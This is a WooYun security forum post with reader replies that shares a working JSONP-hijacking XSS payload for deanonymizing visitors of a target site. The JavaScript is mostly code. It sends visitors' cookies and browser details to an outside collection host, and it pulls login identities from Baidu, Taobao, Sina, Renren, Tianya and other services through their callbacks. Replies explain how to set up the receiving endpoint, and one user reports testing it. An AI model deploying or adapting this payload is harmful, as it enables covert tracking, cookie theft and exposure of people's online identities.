当前位置:WooYun(白帽子技术社区) >> 我们都是猥琐流 >> JSON探针—定位目标网络虚拟信息身份

JSON探针—定位目标网络虚拟信息身份

Jacks (https://royalhack.ru) | 2014-11-06 00:03

11月啦,放点东西出来 给wooyun的伙伴们分享下,其实这个技术已经很成熟啦.不过还是有不知道的童鞋吧。
BTW看了看我的注册时间,数数手指也有3年近4年的样子啦...也见证了wooyun的成长过程.
从当初的rank榜单top10到现在,感叹,弹指一挥间..不过我相信在wooyun这个平台上的帽子们,无论白帽黑帽,只要是会捉老鼠的都是好帽,所以说,我坚信,大家做一件事情,都不忘初衷...坚持!废话是不是很多?哈哈..

看看下面部分的核心代码,我也就贴部分啦,其实实现起来很Easy,需要一个后端去接收。
它的用处呢,标题大家也看到了,至于能扩展到什么程度,怎么使用,那就看大家的思路啦。。。
window.onerror=function(){
  return true;
}
http_server = "http://lemon.1nlab.com/index.php?do=api&id=lemon&content=";
var info = {};
info.browser = function(){
  ua = navigator.userAgent.toLowerCase();
  var rwebkit = /(webkit)[ \/]([\w.]+)/;
  var ropera = /(opera)(?:.*version)?[ \/]([\w.]+)/;
  var rmsie = /(msie) ([\w.]+)/;
  var rmozilla = /(mozilla)(?:.*? rv:([\w.]+))?/;
  var match = rwebkit.exec( ua ) ||
  ropera.exec( ua ) ||
  rmsie.exec( ua ) ||
  ua.indexOf("compatible") < 0 && rmozilla.exec( ua ) ||
  [];
  return {
    name: match[1] || "", version: match[2] || "0"
  };
}();
info.url =  document.location.href;
info.ua = escape(navigator.userAgent);
info.lang = navigator.language;
info.referrer = document.referrer;
info.location = window.location.href;
info.toplocation = top.location.href;
info.cookie = escape(document.cookie);
info.domain = document.domain;
info.title = document.title;
info.screen = function(){
  var c = "";
  if (self.screen) {
    c = screen.width+"x"+screen.height;
  }
  return c;
}();
info.flash = function(){
  var f="",n=navigator;
  if (n.plugins && n.plugins.length) {
    for (var ii=0;ii<n.plugins.length;ii++) {
      if (n.plugins[ii].name.indexOf('Shockwave Flash')!=-1) {
        f=n.plugins[ii].description.split('Shockwave Flash ')[1];
        break;
      }
    }
  }
  else
  if (window.ActiveXObject) {
    for (var ii=10;ii>=2;ii--) {
      try {
        var fl=eval("new ActiveXObject('ShockwaveFlash.ShockwaveFlash."+ii+"');");
        if (fl) {
          f=ii + '.0';
          break;
        }
      }
      catch(e) {}
    
    }
  }
  return f;
}();
function inj_script(a, b) {
  var o = document.createElement("script");
  o.src = a;
  if (b) {
    if (!window.ActiveXObject) {
      o.onload = b;
    }
    else {
      o.onreadystatechange = function () {
        if (o.readyState == 'loaded' || o.readyState == 'complete') {
          b();
        }
      }
    }
  }
  document.getElementsByTagName("body")[0].appendChild(o);
  return o;
}
function json2str(o) {
  if(typeof o == 'string') return o;
  var arr = [];
  var fmt = function(s) {
    if (typeof s == 'object' && s != null) return json2str(s);
    return /^(string|number)$/.test(typeof s) ? "'" + s + "'" : s;
  }
  for (var i in o) arr.push("'" + i + "':" + fmt(o[i]));
  return '{' + arr.join(',') + '}';
}
video_login_callback = function(o){
  new Image().src = http_server + escape(json2str(o)) + "&content2=baidu";
}
e163_comment = function(o){
  new Image().src = http_server + escape(json2str(o)) + "&content2=163";
}

sina_1368631232407449 = function(o){
  new Image().src = http_server + escape(json2str(o)) + "&content2=sina";
}

loginInfoJson = function(o){
  new Image().src = http_server + escape(json2str(o)) + "&content2=taobao";
}

jsonp1368705676193 = function(o){
  new Image().src = http_server + escape(json2str(o)) + "&content2=mop";
}

jsonp1368751970360 = function(o){
  new Image().src = http_server + escape(json2str(o)) + "&content2=dangdang";
}

jQuery1368758656634 = function(o){
  new Image().src = http_server + escape(json2str(o)) + "&content2=renren";
}
window.onload = function(){
  new Image().src = http_server + escape(json2str(info)) + "&content2=info%20";
  try{
    inj_script('http://baike.baidu.com/api/login/?callback=video_login_callback');
  }
  catch(e){}
  try{
    inj_script('http://comment.money.163.com/reply/check.jsp?time=1367240961474&callback=e163_comment');
  }
  catch(e){}
  

  try{
    inj_script('http://i.house.sina.com.cn/sso/get_cookie.php?callback=sina_1368631232407449');
  }
  catch(e){}
  
  try{
    inj_script('http://i.bendi.taobao.com/userLoginInfo.do?callback=loginInfoJson&t=1368683974713');
  }
  catch(e){}

  

  try{
    inj_script('http://passport.mop.com/common/user-info?callback=jsonp1368705676193');
  }
  catch(e){}
  
  try{
    inj_script('http://commapi.dangdang.com/api/toolbar_ads_api.php?jsoncallback=jsonp1368751970360');
  }
  catch(e){}
  
  try{
    inj_script('http://passport.game.renren.com/user/info?callback=jQuery1368758656634&_=1368758656639');
  }
  catch(e){}
  
  try{
    inj_script('http://uis.i.sohu.com/api/passport.jsp?from=roll&_=1361671333278');
  }
  catch(e){}
  
  
  try{
    inj_script('http://www.tianya.cn/api/msg?method=messagesys.selectmessage&params.pageSize=1&params.pageNo=1&_=1368893252433&var=tianya_msg');
  }
  catch(e){}

  setTimeout(function(){
    var o = [_passport];
    new Image().src = http_server + escape(json2str(o)) + "&content2=sohu";
  }
  ,3000);

  setTimeout(function(){
    var o = tianya_msg.data.list[0].toUserName+'|'+tianya_msg.data.list[0].toUserId;
    new Image().src = http_server + escape(json2str(o)) + "&content2=tianya";
  }
  ,5000);
};



我就不逐行去做解释了,大家可以看到里面有很多国内的大型SNS站点,购物站,等等。
这里你可以自定义添加你想要的,然后呢,你把这段代码注入到目标网站上,那么访问者访问以后。
假设他之前有访问过这些代码里面自定义的网站,比如baidu空间,当当网,新浪微博,淘宝,等等网站。
那么他之前的登陆信息就会被我们截获到,并且记录到我们的后台。也就是最开始那段http_server那个地址里面去... 好了,洗洗睡了。。。欢迎各位 拍砖...

分享到:
  1. 1#
    回复此人 感谢
    党中央 | 2014-11-06 00:15

    感谢楼主分享

  2. 2#
    回复此人 感谢
    Mixes | 2014-11-06 01:12

    突然想起以前总有人回复加图片…

  3. 3#
    回复此人 感谢
    大白菜 (YY ID 71686265) | 2014-11-06 01:26

    。。。。。。。。。。秒懂了

  4. 4#
    回复此人 感谢
    Ricter (勿忘初心 (๑`・ᴗ・´๑) | 2014-11-06 10:02

    部分失效了..这是利用了callback的信息泄露吧..

    思路不错=口=

  5. 5#
    回复此人 感谢
    cnrstar (Be My Personal Best!) | 2014-11-06 10:04

    jshijacking啊,这种要找猥琐牛,各种姿势,哈哈哈

  6. 6#
    回复此人 感谢
    AZ0NE (www.azone.asia) | 2014-11-06 11:53

    求php端源码

  7. 7#
    回复此人 感谢
    RainShine (I'm your angel of music.) | 2014-11-06 13:20

    膜拜元老……@那个叫什么深蓝的逗比

  8. 8#
    回复此人 感谢
    爱捣蛋的鬼 | 2014-11-06 13:34

    xss危害还是很大

  9. 9#
    回复此人 感谢
    梧桐雨 (‮ofni.uygnotuw‮) | 2014-11-06 13:40

    好东西,感谢lz。

  10. 10#
    回复此人 感谢
    Chu (学习ing。) | 2014-11-06 13:55

    咱思路

  11. 11#
    回复此人 感谢
    Chu (学习ing。) | 2014-11-06 13:55

    赞...

  12. 12#
    回复此人 感谢
    八云幽紫 | 2014-11-06 14:14

    @Ricter @AZ0NE 看到好多熟人

  13. 13#
    回复此人 感谢
    我勒个去 | 2014-11-06 14:27

    早已有:)Thx anyway

  14. 14#
    回复此人 感谢
    微信公众号 | 2014-11-06 14:34

    t各种猥琐

  15. 15#
    回复此人 感谢
    Fireweed | 2014-11-06 14:42

    赞思路

  16. 16#
    回复此人 感谢
    老和尚 | 2014-11-06 14:58

    没看懂!!点了个喜欢,回家研究去

  17. 17#
    回复此人 感谢
    AZ0NE (www.azone.asia) | 2014-11-06 15:07

    @八云幽紫 大白露

  18. 18#
    回复此人 感谢
    Jacks (https://royalhack.ru) | 2014-11-06 16:34

    @我勒个去 你为何弄个马甲?我知道你是谁,233333

  19. 19#
    回复此人 感谢
    我勒个去 | 2014-11-06 17:04

    @Jacks 呵呵,在wooyun上就是这个ID啊,何来马甲一说

  20. 20#
    回复此人 感谢
    Jacks (https://royalhack.ru) | 2014-11-06 17:17

    @我勒个去 嘿嘿,你是xiaoyu吗? 还在 baidu?

  21. 21#
    回复此人 感谢
    xsser (十根阳具有长短!!) | 2014-11-06 17:39

    曾经的top 10

  22. 22#
    回复此人 感谢
    Jumbo (www.chinabaiker.com) | 2014-11-06 18:00

    突然想起以前总有人回复加图片…

  23. 23#
    回复此人 感谢
    Jumbo (www.chinabaiker.com) | 2014-11-06 18:01

    这是js文件吗。然后注入xss.js?

  24. 24#
    回复此人 感谢
    Jacks (https://royalhack.ru) | 2014-11-06 18:24

    @xsser 唔乖晒.   Jancnock总的WB,哈哈,, 正在发愁木有WB 去申请众测咧.

  25. 25#
    回复此人 感谢
    CHForce (带马师) | 2014-11-07 09:40

    very good,非常有意思的过程。

  26. 26#
    回复此人 感谢
    哎呦小贼 | 2014-11-07 09:42

    有何利用价值

  27. 27#
    回复此人 感谢
    我勒个去 | 2014-11-07 10:03

    @Jacks 索性我就多说一点。可以考虑把flash的也结合一部分进去,JAVA算是废了,没意思。同时在思路方面也可以不局限于hijack之类的,参考下目前营销号如何做精准营销的,比如我怎么知道你的QQ?呵呵

  28. 28#
    回复此人 感谢
    secer | 2014-11-07 10:30

    jsonp 大法好

  29. 29#
    回复此人 感谢
    博丽灵梦 (啊 我中枪了) | 2014-11-07 10:44

    好东西

  30. 30#
    回复此人 感谢
    笔墨 (好人一生平胸) | 2014-11-07 11:46

    多谢!

  31. 31#
    回复此人 感谢
    YwiSax | 2014-11-07 14:29

    之前有人搞了某大站,被管理员在shell里插了这个。。。然后被抓了,哈哈哈

  32. 32#
    回复此人 感谢
    Marsevil (ฏ๎๎๎๎๎๎๎๎๎ฏ๎๎๎๎๎๎ด้้้้้็็) | 2014-11-07 14:48

    @YwiSax 鹳狸猿简直机智

  33. 33#
    回复此人 感谢
    sdj (男人分三种,第一种是用假名牌来掩饰身份,第二种是用真名牌类衬托身份,而第三种,则是用身份来衬托身上的假名牌。) | 2014-11-07 20:54

    @YwiSax 杜撰性略高啊,我觉的能搞大站的基本操作一直都是在干净的虚拟机里操作的。

  34. 34#
    回复此人 感谢
    核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2014-11-08 01:54

    其实原理很简单,利用大量三方网站的cookie进行个人信息追踪,例如各种购物网站广告匹配机制,分析你各种喜好,推送符合你的广告,我们调用这些接口就可以获得很多意想不到的信息,例如目标年龄段、性别、体型、个人喜好等信息(各大广告公司一直在做,例如百度联盟、谷歌广告),或者干脆直接调用各大网站的登录接口,获取一些callback的用户登陆账号信息,类似以前的:注意,日站的时候请清理cookie或使用虚拟机,否则可被cookie追踪

  35. 35#
    回复此人 感谢
    小森森 (学习中……) | 2014-11-08 05:34

    百度百科这个漏得挺厉害的……

  36. 36#
    回复此人 感谢
    abaddon (我就认识这几个字母因此取了这名字) | 2014-11-08 07:02

    @核攻击 我浏览人家招生网站 糊里糊涂就进去了
    真实IP 不会被查水表吧 ....

  37. 37#
    回复此人 感谢
    nony (Not do is die...) | 2014-11-13 22:33

    接收端怎么定义呢?

  38. 38#
    回复此人 感谢
    Jacks (https://royalhack.ru) | 2014-11-13 22:44

    @nony http_server = 有例

  39. 39#
    回复此人 感谢
    nony (Not do is die...) | 2014-11-13 22:48

    @Jacks 呜呜  不知道怎么配置啊  求详细

  40. 40#
    回复此人 感谢
    nony (Not do is die...) | 2014-11-13 22:49

    @Jacks http_server  这个我可以在xss平台里面配置吗?

  41. 41#
    回复此人 感谢
    xiaoxin (己所不欲,勿施于人) | 2014-11-14 00:03

    @nony http_server= 'http://xxx/index.php?do=api&id={projectId}&content=';
    配置里记得接受content,content2两个参数

  42. 42#
    回复此人 感谢
    nony (Not do is die...) | 2014-11-14 02:39

    @xiaoxin ok  已经测试完毕

  43. 43#
    回复此人 感谢
    noob (漏洞深不可测#&8238) | 2014-11-26 14:40

    猥琐好姿势,get了

  44. 44#
    回复此人 感谢
    B1uH4ck | 2014-11-26 15:25

    核总解释的。。。。。好。

  45. 45#
    回复此人 感谢
    爱捣蛋的鬼 | 2014-12-18 17:33

    感谢,已抓盗号集团

添加新回复

登录 后才能参与评论.

WooYun(白帽子技术社区)

网络安全资讯、讨论,跨站师,渗透师,结界师聚集之地

登录